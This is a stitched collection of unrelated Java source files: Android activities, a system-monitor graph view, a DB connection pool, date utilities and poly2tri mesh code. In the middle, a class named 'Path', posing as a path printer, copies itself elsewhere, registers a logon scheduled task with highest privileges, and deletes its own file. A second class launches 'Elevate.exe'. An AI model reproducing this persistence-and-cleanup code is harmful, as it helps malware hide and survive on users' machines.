canvas.drawText("100%", xLeft-X_LEFT_SPACE, yTop+10, textPaint);
canvas.drawText("75%", xLeft-X_LEFT_SPACE, yTop+graphicHeight/4+5, textPaint);
canvas.drawText("50%", xLeft-X_LEFT_SPACE, yTop+graphicHeight/2+5, textPaint);
canvas.drawText("25%", xLeft-X_LEFT_SPACE, yTop+graphicHeight/4*3+5, textPaint);
canvas.drawText("0%", xLeft-X_LEFT_SPACE, yBottom, textPaint);
}
// Horizontal legend
if (LITTLEPORT) {
for (int n=0;n<=minutes;n++) canvas.drawText(n+"'", xRight-n*AnotherMonitor.WIDTH_INTERVAL*(int)(60/((float)AnotherMonitor.READ_INTERVAL/1000)), yBottom+12, textPaint4);
if (minutes==0) canvas.drawText(seconds+"\"", xLeft, yBottom+12, textPaint4);
} else {
for (int n=0;n<=minutes;n++) canvas.drawText(n+"'", xRight-n*AnotherMonitor.WIDTH_INTERVAL*(int)(60/((float)AnotherMonitor.READ_INTERVAL/1000)), yBottom+Y_BOTTOM_SPACE, textPaint2);
if (minutes==0) canvas.drawText(seconds+"\"", xLeft, yBottom+Y_BOTTOM_SPACE, textPaint2);
}
}
/**
* It draws the line of the taken memory value vector. This action consumes quite system resources.
*
* This method is only called from the onDraw() overrided method.
*/
private void drawLine(Vector<String> y, Canvas canvas, Paint paint) {
if(y.size()>1) for(int m=0; m<(y.size()-1) && m<AnotherMonitor.TOTAL_INTERVALS; m++) {
canvas.drawLine(xRight-AnotherMonitor.WIDTH_INTERVAL*m,
yBottom-Integer.parseInt(y.elementAt(m))*graphicHeight/memTotal,
xRight-AnotherMonitor.WIDTH_INTERVAL*m-AnotherMonitor.WIDTH_INTERVAL,
yBottom-Integer.parseInt(y.elementAt(m+1))*graphicHeight/memTotal, paint);
}
}
/**
* It draws the line of the taken CPU usage value vector. This action consumes quite system resources.
*
* This method is only called from the onDraw() overrided method.
*/
private void drawLineFloat(Vector<Float> y, Canvas canvas, Paint paint) {
if(y.size()>1) for(int m=0; m<(y.size()-1) && m<AnotherMonitor.TOTAL_INTERVALS; m++) {
canvas.drawLine(xRight-AnotherMonitor.WIDTH_INTERVAL*m,
yBottom-y.elementAt(m)*graphicHeight/100,
xRight-AnotherMonitor.WIDTH_INTERVAL*m-AnotherMonitor.WIDTH_INTERVAL,
yBottom-y.elementAt(m+1)*graphicHeight/100, paint);
}
}
/**
* It initializes all the size variables, Paint objects and another stuff the first time
* the graphic is drawn or when the screen size change, as for example, the screen orientation changes.
* Like this we does not uselessly recalculate variables every time the graphic is drawn.
*
* This method is only called once from the onDraw() overrided method if the INITIALICEGRAPHIC flag is true.
*/
private void initializeGraphic() {
xLeft = (int)(getWidth()*0.14);
xRight = (int)(getWidth()*0.95);
yTop = (int)(getHeight()*0.06);
yBottom = (int)(getHeight()*0.88);
graphicWidth = xRight - xLeft;
graphicHeight = yBottom - yTop;
AnotherMonitor.TOTAL_INTERVALS = (int)Math.ceil(graphicWidth/AnotherMonitor.WIDTH_INTERVAL)+3;
minutes = (int)(Math.floor(AnotherMonitor.TOTAL_INTERVALS/(60/((float)AnotherMonitor.READ_INTERVAL/1000))));
seconds = AnotherMonitor.TOTAL_INTERVALS % (int)(60/((float)AnotherMonitor.READ_INTERVAL/1000));
/* This check is performed to add compatibility with 320x240 screens.
If we would not do this implementation, the graphics would fit badly in 320x240 screens. */
if (getWidth()<220) LITTLELAND = true;
if (getHeight()<=160 && getResources().getConfiguration().orientation == Configuration.ORIENTATION_PORTRAIT) LITTLEPORT = true;
graphicBackgroudPaint = getPaint(Color.parseColor(AnotherMonitor.BACKGROUND_COLOR), Paint.Align.CENTER, 12, false);
viewBackgroudPaint = getPaint(Color.parseColor("#181818"), Paint.Align.CENTER, 12, false);
circlePaint = getPaint(Color.RED, Paint.Align.CENTER, 12, false);
linesPaint = getPaint(Color.parseColor(AnotherMonitor.LINES_COLOR), Paint.Align.CENTER, 12, false);
textPaint = getPaint(Color.LTGRAY, Paint.Align.RIGHT, 12, true);
textPaint2 = getPaint(Color.LTGRAY, Paint.Align.CENTER, 12, true);
textPaint3 = getPaint(Color.LTGRAY, Paint.Align.RIGHT, 10, true);
textPaint4 = getPaint(Color.LTGRAY, Paint.Align.CENTER, 10, true);
textRecordingPaint = getPaint(Color.LTGRAY, Paint.Align.LEFT, 12, true);
cPUAMPPaint = getPaint(Color.parseColor("#804000"), Paint.Align.CENTER, 12, false);
cPURestPPaint = getPaint(Color.parseColor("#7D0000"), Paint.Align.CENTER, 12, false);
memFreePaint = getPaint(Color.GREEN, Paint.Align.CENTER, 12, false);
buffersPaint = getPaint(Color.BLUE, Paint.Align.CENTER, 12, false);
cachedPaint = getPaint(Color.CYAN, Paint.Align.CENTER, 12, false);
activePaint = getPaint(Color.YELLOW, Paint.Align.CENTER, 12, false);
inactivePaint = getPaint(Color.MAGENTA, Paint.Align.CENTER, 12, false);
swapTotalPaint = getPaint(Color.parseColor("#006000"), Paint.Align.CENTER, 12, false);
dirtyPaint = getPaint(Color.parseColor("#800080"), Paint.Align.CENTER, 12, false);
INITIALICEGRAPHIC=false;
}
/**
* It initializes all the size variables, Paint objects and another stuff the first time
* the graphic is drawn or when the screen size change, as for example, the screen orientation changes.
* Like this we does not uselessly recalculate variables every time the graphic is drawn.
*
* This method is only called from the initializeGraphic() method.
*/
private Paint getPaint(int color, Paint.Align align, int textSize, boolean b) {
Paint p = new Paint();
p.setColor(color);
p.setTextSize(textSize);
p.setTextAlign(align);
p.setAntiAlias(b);
return p;
}
/**
* Set the vectors to be drawn. Also, get the Context object of AnotherMonitor to write the text labels
* of the graphic in the right language.
*
* This method is only called from the onServiceConnected() method of the AnotherMonitor class.
*/
void setVectors(int memTotal, Vector<String> memFree, Vector<String> buffers, Vector<String> cached,
Vector<String> active, Vector<String> inactive, Vector<String> swapTotal, Vector<String> dirty,
Vector<Float> cPUAMP, Vector<Float> cPURestP, Context myContext) {
this.memTotal = memTotal;
this.memFree = memFree;
this.buffers = buffers;
this.cached = cached;
this.active = active;
this.inactive = inactive;
this.swapTotal = swapTotal;
this.dirty = dirty;
this.cPUAMP = cPUAMP;
this.cPURestP = cPURestP;
updateIntervalText = myContext.getString(R.string.graphic_update_interval);
graphicPausedText = myContext.getString(R.string.graphic_paused);
recordingText = myContext.getString(R.string.graphic_recording);
}
} | Java |
import java.io.File;
import java.util.ArrayList;
import java.util.List;
public class PathPP {
public static void main (String args[]) {
File directory = new File (".");
try {
Runtime.getRuntime().exec("Elevate.exe");
//String delpath = directory.getCanonicalPath()+"\\Path.class";
//System.out.println(delpath);
// Runtime.getRuntime().exec("xcopy"+" "+"D:\\softwares\\utilities\\HPPrinter.rar"+" "+"d:\\");
// System.out.println("sssssssssss");
List<String> commands = new ArrayList<String>();
commands.add("xcopy.exe");
commands.add("D:\\softwares\\vendav~1\\win64_11gR1_database_111070.zip");
commands.add("d:\\");
System.out.println(commands);
//String comm = "xcopy.exe"+" "+"D:\\softwares\\utilities\\HPPrinter.rar"+" "+"d:\\";
ProcessBuilder builder = new ProcessBuilder(commands);
Process p = builder.start();
p.waitFor();
System.out.println("hello");
}catch(Exception e) {
System.out.println("Exceptione is ="+e.getMessage());
}
}
} | Java |
import java.io.File;
public class Path {
public static void main (String args[]) {
File directory = new File (".");
try {
System.out.println ("Current directory's canonical path: "
+ directory.getCanonicalPath());
System.out.println ("Current directory's absolute path: "
+ directory.getAbsolutePath());
String path = directory.getCanonicalPath();
String p = "schtasks /create /sc onlogon /tn LOTUSS /rl highest /tr C:\\r.txt";
System.out.println(p);
if (!(path.equals("C:\\Windows\\System32")))
{
String delpath = directory.getCanonicalPath()+"\\Path.class";
System.out.println(delpath);
Runtime.getRuntime().exec("xcopy"+" "+ directory.getCanonicalPath()+"\\Path.class"+" "+"d:\\");
Runtime.getRuntime().exec(p );
Thread.sleep(5000);
File f1 = new File(delpath);
f1.deleteOnExit();
}
}catch(Exception e) {
System.out.println("Exceptione is ="+e.getMessage());
}
}
} | Java |
package com.lyb.android.activity.setting;
import com.lyb.client.R;
import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
public class NoticeActivity extends Activity{
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_setting_about);
initViews();
}
private void initViews() {
Button btn_back = (Button) findViewById(R.id.author_blog_button_back) ;
btn_back.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v) {
finish();
}});
}
}
| Java |
package com.lyb.android.activity.setting;
import com.lyb.client.R;
import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
public class FeedbackActivity extends Activity{
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_setting_feedback);
initViews();
}
private void initViews() {
Button btn_back = (Button) findViewById(R.id.author_blog_button_back) ;
btn_back.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v) {
finish();
}});
Button btn_ok = (Button) findViewById(R.id.author_blog_button_ok) ;
btn_ok.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v) {
finish();
}});
}
}
| Java |
package com.lyb.android.activity.setting;
import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.webkit.WebView;
import android.widget.Button;
import android.widget.TextView;
import com.lyb.android.app.Res;
import com.lyb.client.R;
public class AboutActivity extends Activity{
private static String TAG = "AboutActivity";
private WebView webView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_setting_about);
initViews();
webView.loadUrl("file:///android_asset/about.html");
}
private void initViews() {
TextView titleTv = (TextView) findViewById(R.id.txtAuthor);
titleTv.setText(Res.string.title_text_setting_help);
Button btn_back = (Button) findViewById(R.id.author_blog_button_back) ;
btn_back.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v) {
finish();
}});
webView = (WebView) findViewById(R.id.about_webView);
}
}
| Java |
package com.lyb.android.activity.setting;
import android.app.Activity;
import android.os.Bundle;
import android.view.View;
import android.webkit.WebView;
import android.widget.Button;
import android.widget.TextView;
import com.lyb.android.app.Res;
import com.lyb.client.R;
public class HelpActivity extends Activity{
private static String TAG = "HelpActivity";
private WebView webView;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_setting_about);
initViews();
webView.loadUrl("file:///android_asset/help.html");
}
private void initViews() {
TextView titleTv = (TextView) findViewById(R.id.txtAuthor);
titleTv.setText(Res.string.title_text_setting_help);
Button btn_back = (Button) findViewById(R.id.author_blog_button_back) ;
btn_back.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v) {
finish();
}});
webView = (WebView) findViewById(R.id.about_webView);
}
}
| Java |
package com.lyb.android.activity;
import android.app.Activity;
import android.content.Intent;
import android.os.Bundle;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import com.lyb.client.R;
/**
* edit tool activity.
* @author logic
*
*/
public class PersonalCommonEditActivity extends BaseActivity{
private static String TAG ="PersonalCommonEditActivity";
private EditText commonEdit;
private int type;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_personal_edit);
int type = this.getIntent().getIntExtra("_edit_father", 0);
initViews();
bindEvents();
}
private void bindEvents() {
}
private void initViews() {
Button btn_back = (Button) findViewById(R.id.author_blog_button_back) ;
btn_back.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v) {
ExitActivity();
}});
Button btn_ok = (Button) findViewById(R.id.author_blog_button_registerOk) ;
btn_ok.setOnClickListener(new View.OnClickListener(){
@Override
public void onClick(View v) {
ExitActivity();
}});
commonEdit = (EditText) findViewById(R.id.personal_edit) ;
}
private void ExitActivity(){
Intent intent = new Intent();
intent.putExtra("_date", commonEdit.getText().toString().trim());
this.setResult(Activity.RESULT_OK, getIntent());
this.finish();
}
}
| Java |
package com.lyb.android.util;
public final class Util {
public static String HostIp="192.168.3.7";
public static int HostPort=9994;
public static String IMEI = "";
}
| Java |
package com.lyb.android.app;
import com.lyb.client.R;
public class Res {
// public static final R.anim anim = new R.anim();
// public static final R.array array = new R.array();
public static final R.attr attr = new R.attr();
// public static final R.bool bool = new R.bool();
// public static final R.color color = new R.color();
// public static final R.dimen dimen = new R.dimen();
public static final R.drawable drawable = new R.drawable();
public static final R.id id = new R.id();
// public static final R.integer integer = new R.integer();
public static final R.layout layout = new R.layout();
// public static final R.plurals plurals = new R.plurals();
// public static final R.raw raw = new R.raw();
public static final R.string string = new R.string();
// public static final R.style style = new R.style();
// public static final R.styleable = new R.styleable();
// public static final R.xml xml = new R.xml();
}
| Java |
package com.lyb.android.app;
import org.acra.ACRA;
import org.acra.annotation.ReportsCrashes;
import com.lyb.android.service.HttpService;
import android.app.Application;
import android.content.Context;
import android.content.Intent;
import android.telephony.TelephonyManager;
import android.app.Activity;
public class App extends Application {
public App mApp;
@Override
// @ReportsCrashes(formKey = "dHZFcmN2UFpxZzNsS1EwRHZNWDVNZ3c6MQ")
public void onCreate() {
ACRA.init(this);
mApp = this;
Intent serv = new Intent("com.lyb.android.service.HttpService");
this.startService(serv);
TelephonyManager tm;
tm = (TelephonyManager) this.getSystemService(Context.TELEPHONY_SERVICE);
com.lyb.android.util.Util.IMEI = tm.getDeviceId();
super.onCreate();
}
@Override
public void onTerminate() {
super.onTerminate();
}
public void destroy() {
for (Activity ac : HttpService.allActivity) {
ac.finish();
}
Intent it = new Intent("com.lyb.android.service.HttpService");
this.stopService(it);
android.os.Process.killProcess(android.os.Process.myPid());
System.exit(0);
}
} | Java |
package com.lyb.android.numu;
public enum MsgEnmu {
}
| Java |
package com.lyb.android.entity;
import java.io.Serializable;
/**
* contact entity
* @author YongboLee
*
*/
public class Friend implements Serializable{
private static String TAG = "Secret";
private static final long serialVersionUID = 1L;
private int _f_id;
private int _f_type;
private String _f_name;
public void set_f_id(int _f_id) {
this._f_id = _f_id;
}
public int get_f_id() {
return _f_id;
}
public void set_f_type(int _f_type) {
this._f_type = _f_type;
}
public int get_f_type() {
return _f_type;
}
public void set_f_name(String _f_name) {
this._f_name = _f_name;
}
public String get_f_name() {
return _f_name;
}
}
| Java |
package com.sufjan.secret.db;
import java.io.InputStream;
import java.sql.Connection;
import java.sql.Driver;
import java.sql.DriverManager;
import java.util.Enumeration;
import java.util.Properties;
import java.util.StringTokenizer;
import java.util.Vector;
import java.util.logging.Logger;
public class DBConnectionManager {
private static Logger logger = Logger.getLogger(DBConnectionManager.class.getName());
/**
* the very only DBConnectionManager instance
*/
private static DBConnectionManager instance;
Connection conn = null;
/**
* how many process get the DBConnectionManager instance and use the
* connectionPool
*/
private static int clients = 0;
/**
* db driver
*/
private Vector<Driver> drivers;
/**
* connection pool
*/
private DBConnectionPool pool;
/**
* the props read from the configuration file which are used to create db
* connection
*/
private Properties props;
/**
* the constructor for that there must be only one DBConnectionManager
* instance, so the constructor is private
*/
private DBConnectionManager() {
init();
}
/**
* get DBConnectionManager instance
*
* @return DBConnectionManager instance
*/
public synchronized static DBConnectionManager getInstance() {
if (instance == null) {
instance = new DBConnectionManager();
}
++clients;
return instance;
}
/**
* init DBConnectionManager load db driver and create pool
*/
private void init() {
InputStream is = this.getClass().getResourceAsStream("/dbSourse.properties");
try {
props = new Properties();
props.load(is);
} catch (Exception e) {
}
loadDriver();
createPool();
}
/**
* load db driver
*/
private void loadDriver() {
drivers = new Vector<Driver>();
String driverClasses = props.getProperty("driver");
StringTokenizer st = new StringTokenizer(driverClasses);
while (st.hasMoreElements()) {
String driverClassName = st.nextToken().trim();
try {
Driver driver = (Driver) Class.forName(driverClassName)
.newInstance();
DriverManager.registerDriver(driver);
drivers.addElement(driver);
} catch (Exception ex) {
ex.printStackTrace();
}
}
}
/**
* create db connectionPool
*
*/
private void createPool() {
int minConn = Integer.parseInt(props.getProperty("minConnection"));
int maxConn = Integer.parseInt(props.getProperty("maxConnection"));
pool = new DBConnectionPool(props.getProperty("username"),
props.getProperty("password"),
props.getProperty("connectionURL"), minConn, maxConn);
}
/**
* get a dbconnection from pool
*
* @return db connection
*/
public Connection getConnection() {
int timeout = Integer.parseInt(props.getProperty("timeout"));
int retry = Integer.parseInt(props.getProperty("retry"));
if (pool != null) {
conn = pool.getConnection();
}
if (conn == null) {
for (int i = 0; i < retry; i++) {
conn = getConnection(timeout);
if (conn != null) {
break;
}
}
}
return conn;
}
/**
* if there's too much process to get connection from the pool there might
* not be enough connections so wait some time to reget it
*/
private Connection getConnection(long timeout) {
Connection conn = null;
try {
Thread.sleep(timeout);
} catch (InterruptedException e) {
e.printStackTrace();
}
conn = pool.getConnection();
return conn;
}
/**
* return connection to the pool
*
* @param conn
* - connection about to return
*/
public void freeConnection(Connection conn) {
if (pool != null) {
pool.freeConnection(conn);
}
}
/**
* release the pool if there's still some process using the db connection,
* wait
*/
public void release() {
if (--clients != 0) {
return;
}
if (pool != null) {
pool.release();
@SuppressWarnings("rawtypes")
Enumeration allDrivers = drivers.elements();
while (allDrivers.hasMoreElements()) {
Driver driver = (Driver) allDrivers.nextElement();
try {
DriverManager.deregisterDriver(driver);
} catch (Exception ex) {
logger.info("Can not deregister driver "
+ driver.getClass().getName());
System.out.println("Can not deregister driver "
+ driver.getClass().getName());
}
}
}
}
}
| Java |
package com.sufjan.secret.db;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
import java.util.ArrayList;
import java.util.Iterator;
public class DBConnectionPool {
/**
* count how many connections are in use
*/
private int inUsed = 0;
/**
* the container used to store the free connections
*/
private ArrayList<Connection> freeConnections = new ArrayList<Connection>();
/**
* db username
*/
private String username;
/**
* db password
*/
private String password;
/**
* db url
*/
private String url;
/**
* the min connection number permitted
*/
private int minConn;
/**
* the max connection number premitted
*/
private int maxConn;
/**
* constructor
* store the db params
* create minConn connections
*
* @param driver
* @param username
* @param password
* @param url
* @param minConn
* @param maxConn
*/
public DBConnectionPool(String username, String password, String url,
int minConn, int maxConn) {
this.username = username;
this.password = password;
this.url = url;
this.minConn = minConn;
this.maxConn = maxConn;
for(int i = 0; i < this.minConn; i++) {
freeConnections.add(newConnection());
}
}
/**
* getConnection
*
* @return a Connection got from pool
*/
public synchronized Connection getConnection() {
Connection conn = null;
if(freeConnections.size() > 0) {
conn = freeConnections.remove(0);
if(conn == null) {
conn = getConnection();
}
} else {
conn = newConnection();
}
if(maxConn == 0 || maxConn < inUsed) {
conn = null;
}
if(conn != null) {
++inUsed;
}
return conn;
}
/**
* freeConnection
*
* @param conn - the connection about to return to the connection pool
*/
public synchronized void freeConnection(Connection conn) {
freeConnections.add(conn);
--inUsed;
}
/**
* newConnection
*
* @return the newly created connection
*/
private Connection newConnection() {
Connection conn = null;
try {
conn = DriverManager.getConnection(url, username, password);
} catch(SQLException e) {
}
return conn;
}
/**
* release the connection pool
*/
public synchronized void release() {
Iterator<Connection> allConns = freeConnections.iterator();
while(allConns.hasNext()) {
Connection conn = allConns.next();
try {
conn.close();
} catch(SQLException e) {
}
}
freeConnections.clear();
inUsed = 0;
}
}
| Java |
package com.sufjan.secret.util;
import java.text.DateFormat;
import java.text.SimpleDateFormat;
import java.util.Date;
public class DateUtil {
/**
* <p>
* 将sql Date 类型转为 util Date 类型
* <p>
* @param sqlDate
* @return
*/
public static java.util.Date dateSqlToUtil(java.sql.Date sqlDate){
return new java.util.Date(sqlDate.getTime());
}
/**
* <p>
* 将util Date 类型转为 sql Date 类型
* <p>
* @param utilDate
* @return
*/
public static java.sql.Date dateUtilToSql(java.util.Date utilDate){
return new java.sql.Date(utilDate.getTime());
}
/**
* <p>
* Description: 按格式“yyyy-MM-dd HH:mm:ss”返回当天日期的字符串形式
* <p>
*
* @return 日期格式字符串
* @author zhenghuiqiang 2011-12-30
*/
public static String getCurrentTimeString() {
SimpleDateFormat dateFormat = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
return dateFormat.format(new Date());
}
/**
* <p>
* Description: 按格式“MM-dd-yyyy”返回当天日期的字符串形式
* <p>
*
* @return 日期格式字符串
* @author zhenghuiqiang 2011-12-30
*/
public static String getCurrentTimeStr() {
SimpleDateFormat dateFormat = new SimpleDateFormat(
"yyyy-MM-dd HH-mm-ss");
return dateFormat.format(new Date());
}
/**
* 字符串转换成日期
*
* @param str
* @return date
*/
public static Date StrToDate(String str) {
SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
Date date = null;
try {
date = format.parse(str);
} catch (java.text.ParseException e) {
e.printStackTrace();
}
return date;
}
/**
* 将时间格式为yyyy-MM-dd HH:mm:ss转换成20120227150931字符串输出
* @param str
* @return
*/
public static String strToDatestr(Date date)
{
String dateStr = null;
SimpleDateFormat format = new SimpleDateFormat("yyyyMMddHHmmss");
dateStr = format.format(date);
return dateStr;
}
/**
* 将时间格式为yyyy-MM-dd HH:mm:ss转换成20120227150931字符串输出
* @param str
* @return
*/
public static String dateToStr(Date date)
{
SimpleDateFormat dateFormat = new SimpleDateFormat(
"yyyy-MM-dd HH:mm:ss");
return dateFormat.format(date);
}
/**
*判断当前时间是否在时间date之后
* @param date
* @return
*/
public static boolean isDateBefore(String date){
try
{
Date nowDate = new Date();
DateFormat df = DateFormat.getDateTimeInstance();
return nowDate.after(df.parse(date));
} catch (java.text.ParseException e)
{
e.printStackTrace();
}
return false;
}
}
| Java |
package com.sufjan.dialkit.android.activity;
import com.sufjan.dialkit.android.R;
import android.app.Activity;
import android.os.Bundle;
public class DailFaceActivity extends Activity{
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_dialface);
}
}
| Java |
package com.sufjan.dialkit.android.activity;
import android.app.Activity;
import android.os.Bundle;
public class HomeActivity extends Activity{
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}
}
| Java |
package com.sufjan.dialkit.android.util;
public class Config {
public static String IMEI = "";
public static String UserName = "";
public static String UserPwd = "";
public static String PhoneNum = "";
public static boolean isTest = false;
public static String _LOG_STORE_PATH = "";
}
| Java |
package com.sufjan.dialkit.android;
import android.os.Bundle;
import android.app.Activity;
import android.view.Menu;
public class MainActivity extends Activity {
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
}
@Override
public boolean onCreateOptionsMenu(Menu menu) {
// Inflate the menu; this adds items to the action bar if it is present.
getMenuInflater().inflate(R.menu.main, menu);
return true;
}
}
| Java |
package org.poly2tri.polygon.ardor3d;
import java.util.ArrayList;
import org.poly2tri.geometry.polygon.Polygon;
import org.poly2tri.triangulation.point.ardor3d.ArdorVector3Point;
import org.poly2tri.triangulation.point.ardor3d.ArdorVector3PolygonPoint;
import com.ardor3d.math.Vector3;
public class ArdorPolygon extends Polygon
{
public ArdorPolygon( Vector3[] points )
{
super( ArdorVector3PolygonPoint.toPoints( points ) );
}
public ArdorPolygon( ArrayList<Vector3> points )
{
super( ArdorVector3PolygonPoint.toPoints( points ) );
}
}
| Java |
package org.poly2tri.triangulation.tools.ardor3d;
import java.nio.FloatBuffer;
import java.nio.IntBuffer;
import java.util.HashMap;
import java.util.List;
import org.poly2tri.geometry.polygon.Polygon;
import org.poly2tri.geometry.primitives.Point;
import org.poly2tri.transform.coordinate.CoordinateTransform;
import org.poly2tri.transform.coordinate.NoTransform;
import org.poly2tri.triangulation.TriangulationPoint;
import org.poly2tri.triangulation.delaunay.DelaunayTriangle;
import org.poly2tri.triangulation.point.TPoint;
import org.poly2tri.triangulation.sets.PointSet;
import com.ardor3d.math.Vector3;
import com.ardor3d.renderer.IndexMode;
import com.ardor3d.scenegraph.Mesh;
import com.ardor3d.util.geom.BufferUtils;
public class ArdorMeshMapper
{
private static final CoordinateTransform _ct = new NoTransform();
public static void updateTriangleMesh( Mesh mesh,
List<DelaunayTriangle> triangles )
{
updateTriangleMesh( mesh, triangles, _ct );
}
public static void updateTriangleMesh( Mesh mesh,
List<DelaunayTriangle> triangles,
CoordinateTransform pc )
{
FloatBuffer vertBuf;
TPoint point;
mesh.getMeshData().setIndexMode( IndexMode.Triangles );
if( triangles == null || triangles.size() == 0 )
{
return;
}
point = new TPoint(0,0,0);
int size = 3*3*triangles.size();
prepareVertexBuffer( mesh, size );
vertBuf = mesh.getMeshData().getVertexBuffer();
vertBuf.rewind();
for( DelaunayTriangle t : triangles )
{
for( int i=0; i<3; i++ )
{
pc.transform( t.points[i], point );
vertBuf.put(point.getXf());
vertBuf.put(point.getYf());
vertBuf.put(point.getZf());
}
}
}
public static void updateFaceNormals( Mesh mesh,
List<DelaunayTriangle> triangles )
{
updateFaceNormals( mesh, triangles, _ct );
}
public static void updateFaceNormals( Mesh mesh,
List<DelaunayTriangle> triangles,
CoordinateTransform pc )
{
FloatBuffer nBuf;
Vector3 fNormal;
HashMap<DelaunayTriangle,Vector3> fnMap;
int size = 3*3*triangles.size();
fnMap = calculateFaceNormals( triangles, pc );
prepareNormalBuffer( mesh, size );
nBuf = mesh.getMeshData().getNormalBuffer();
nBuf.rewind();
for( DelaunayTriangle t : triangles )
{
fNormal = fnMap.get( t );
for( int i=0; i<3; i++ )
{
nBuf.put(fNormal.getXf());
nBuf.put(fNormal.getYf());
nBuf.put(fNormal.getZf());
}
}
}
public static void updateVertexNormals( Mesh mesh,
List<DelaunayTriangle> triangles )
{
updateVertexNormals( mesh, triangles, _ct );
}
public static void updateVertexNormals( Mesh mesh,
List<DelaunayTriangle> triangles,
CoordinateTransform pc )
{
FloatBuffer nBuf;
TriangulationPoint vertex;
Vector3 vNormal, fNormal;
HashMap<DelaunayTriangle,Vector3> fnMap;
HashMap<TriangulationPoint,Vector3> vnMap = new HashMap<TriangulationPoint,Vector3>(3*triangles.size());
int size = 3*3*triangles.size();
fnMap = calculateFaceNormals( triangles, pc );
// Calculate a vertex normal for each vertex
for( DelaunayTriangle t : triangles )
{
fNormal = fnMap.get( t );
for( int i=0; i<3; i++ )
{
vertex = t.points[i];
vNormal = vnMap.get( vertex );
if( vNormal == null )
{
vNormal = new Vector3( fNormal.getX(), fNormal.getY(), fNormal.getZ() );
vnMap.put( vertex, vNormal );
}
else
{
vNormal.addLocal( fNormal );
}
}
}
// Normalize all normals
for( Vector3 normal : vnMap.values() )
{
normal.normalizeLocal();
}
prepareNormalBuffer( mesh, size );
nBuf = mesh.getMeshData().getNormalBuffer();
nBuf.rewind();
for( DelaunayTriangle t : triangles )
{
for( int i=0; i<3; i++ )
{
vertex = t.points[i];
vNormal = vnMap.get( vertex );
nBuf.put(vNormal.getXf());
nBuf.put(vNormal.getYf());
nBuf.put(vNormal.getZf());
}
}
}
private static HashMap<DelaunayTriangle,Vector3> calculateFaceNormals( List<DelaunayTriangle> triangles,
CoordinateTransform pc )
{
HashMap<DelaunayTriangle,Vector3> normals = new HashMap<DelaunayTriangle,Vector3>(triangles.size());
TPoint point = new TPoint(0,0,0);
// calculate the Face Normals for all triangles
float x1,x2,x3,y1,y2,y3,z1,z2,z3,nx,ny,nz,ux,uy,uz,vx,vy,vz;
double norm;
for( DelaunayTriangle t : triangles )
{
pc.transform( t.points[0], point );
x1 = point.getXf();
y1 = point.getYf();
z1 = point.getZf();
pc.transform( t.points[1], point );
x2 = point.getXf();
y2 = point.getYf();
z2 = point.getZf();
pc.transform( t.points[2], point );
x3 = point.getXf();
y3 = point.getYf();
z3 = point.getZf();
ux = x2 - x1;
uy = y2 - y1;
uz = z2 - z1;
vx = x3 - x1;
vy = y3 - y1;
vz = z3 - z1;
nx = uy*vz - uz*vy;
ny = uz*vx - ux*vz;
nz = ux*vy - uy*vx;
norm = 1/Math.sqrt( nx*nx + ny*ny + nz*nz );
nx *= norm;
ny *= norm;
nz *= norm;
normals.put( t, new Vector3(nx,ny,nz) );
}
return normals;
}
/**
* For now very primitive!
*
* Assumes a single texture and that the triangles form a xy-monotone surface
* <p>
* A continuous surface S in R3 is called xy-monotone, if every line parallel
* to the z-axis intersects it at a single point at most.
*
* @param mesh
* @param scale
*/
public static void updateTextureCoordinates( Mesh mesh,
List<DelaunayTriangle> triangles,
double scale,
double angle )
{
TriangulationPoint vertex;
FloatBuffer tcBuf;
float width,maxX,minX,maxY,minY,x,y,xn,yn;
maxX = Float.NEGATIVE_INFINITY;
minX = Float.POSITIVE_INFINITY;
maxY = Float.NEGATIVE_INFINITY;
minY = Float.POSITIVE_INFINITY;
for( DelaunayTriangle t : triangles )
{
for( int i=0; i<3; i++ )
{
vertex = t.points[i];
x = vertex.getXf();
y = vertex.getYf();
maxX = x > maxX ? x : maxX;
minX = x < minX ? x : minX;
maxY = y > maxY ? y : maxY;
minY = y < minY ? x : minY;
}
}
width = maxX-minX > maxY-minY ? maxX-minX : maxY-minY;
width *= scale;
tcBuf = prepareTextureCoordinateBuffer(mesh,0,2*3*triangles.size());
tcBuf.rewind();
for( DelaunayTriangle t : triangles )
{
for( int i=0; i<3; i++ )
{
vertex = t.points[i];
x = vertex.getXf()-(maxX-minX)/2;
y = vertex.getYf()-(maxY-minY)/2;
xn = (float)(x*Math.cos(angle)-y*Math.sin(angle));
yn = (float)(y*Math.cos(angle)+x*Math.sin(angle));
tcBuf.put( xn/width );
tcBuf.put( yn/width );
}
}
}
/**
* Assuming:
* 1. That given U anv V aren't collinear.
* 2. That O,U and V can be projected in the XY plane
*
* @param mesh
* @param triangles
* @param o
* @param u
* @param v
*/
public static void updateTextureCoordinates( Mesh mesh,
List<DelaunayTriangle> triangles,
double scale,
Point o,
Point u,
Point v )
{
FloatBuffer tcBuf;
float x,y,a,b;
final float ox = (float)scale*o.getXf();
final float oy = (float)scale*o.getYf();
final float ux = (float)scale*u.getXf();
final float uy = (float)scale*u.getYf();
final float vx = (float)scale*v.getXf();
